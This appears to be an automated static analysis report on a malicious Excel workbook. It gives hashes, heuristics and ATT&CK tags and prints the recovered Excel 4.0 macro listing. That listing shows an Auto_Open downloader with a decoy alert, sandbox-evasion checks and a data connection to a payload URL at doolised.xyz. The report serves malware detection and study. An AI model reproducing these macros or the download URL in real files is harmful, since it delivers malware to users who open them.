Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e8bf431958085b57…

MALICIOUS

Office (OLE)

192.0 KB Created: 2020-02-12 10:37:15 First seen: 2020-07-24
MD5: 38e8d7a500897dcd2ce00ea93ddf26c0 SHA-1: a1290f17964b434f6edc2d58196f473ad3f462f8 SHA-256: e8bf431958085b5706fb56c189e9b8ef21eaf8bcca149b1dc1858c43836a366d
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains Excel 4.0 macros, specifically an Auto_Open macro that uses dangerous functions like RUN. The macro attempts to download a payload from the URL https://doolised.xyz/SDVJbsldkcvg1. This indicates a macro-based downloader designed to execute a second-stage malicious file.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://doolised.xyz/SDVJbsldkcvg1 In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1881 bytes
SHA-256: be0209587c12135ac71130e50ac6161b703746243d676cd16067d4857d0fd9d9
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  VBDS
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  VBDS!A1 
' 0018     29 LABEL : Cell Value, String Constant - DSJVbsd len=7 ptgRef3d  VBDS!C1 
' 0018     32 LABEL : Cell Value, String Constant - klaudshflu len=7 ptgRef3d  VBDS!B3 
' 0018     30 LABEL : Cell Value, String Constant - sdhbjfa2 len=7 ptgRef3d  VBDS!B1 
' 0018     33 LABEL : Cell Value, String Constant - Vsdvqf3 len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00c\x00f\x00\x18\x00\x18\x00'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  VBDS,A1,"IF(ALERT("We found a problem with some content. Do you want to try to recover as much as we can?",1),,CLOSE(TRUE))",""
'  VBDS,B1,"IF(ISNUMBER(SEARCH("LOS", Sheet!Y103)),GOTO(DSJVbsd),ON.TIME(NOW()+"00:00:02","klaudshflu"))",""
'  VBDS,C1,"FORMULA.FILL( Sheet!Y100, VBDS!C5)",""
'  VBDS,A2,"IF(GET.WORKSPACE(19),,CLOSE(TRUE))",""
'  VBDS,B2,RETURN(),""
'  VBDS,C2,"FORMULA.FILL( Sheet!Y101, VBDS!C6)",""
'  VBDS,A3,"IF(GET.WORKSPACE(42),,CLOSE(TRUE))",""
'  VBDS,B3,"IF(ISNUMBER(SEARCH("LOS", Sheet!Y103)),GOTO(DSJVbsd),ON.TIME(NOW()+"00:00:02","sdhbjfa2"))",""
'  VBDS,C3,"FORMULA.FILL( Sheet!Y102, VBDS!C7)",""
'  VBDS,A4,"IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,CLOSE(TRUE))",""
'  VBDS,B4,RETURN(),""
'  VBDS,C4,"FORMULA.FILL( Sheet!Y103, VBDS!C8)",""
'  VBDS,A5,"IF(ISNUMBER(SEARCH("Inv",GET.WINDOW(1))),ON.TIME(NOW()+"00:00:02","sdhbjfa2"),CLOSE(TRUE))",""
'  VBDS,A6,RETURN(),""
' 0876    135 DCONN : Data Connection
'  ASCII:
'   Connection
'   https://doolised.xyz/SDVJbsldkcvg1
'   Sheet1!Vsdvqf3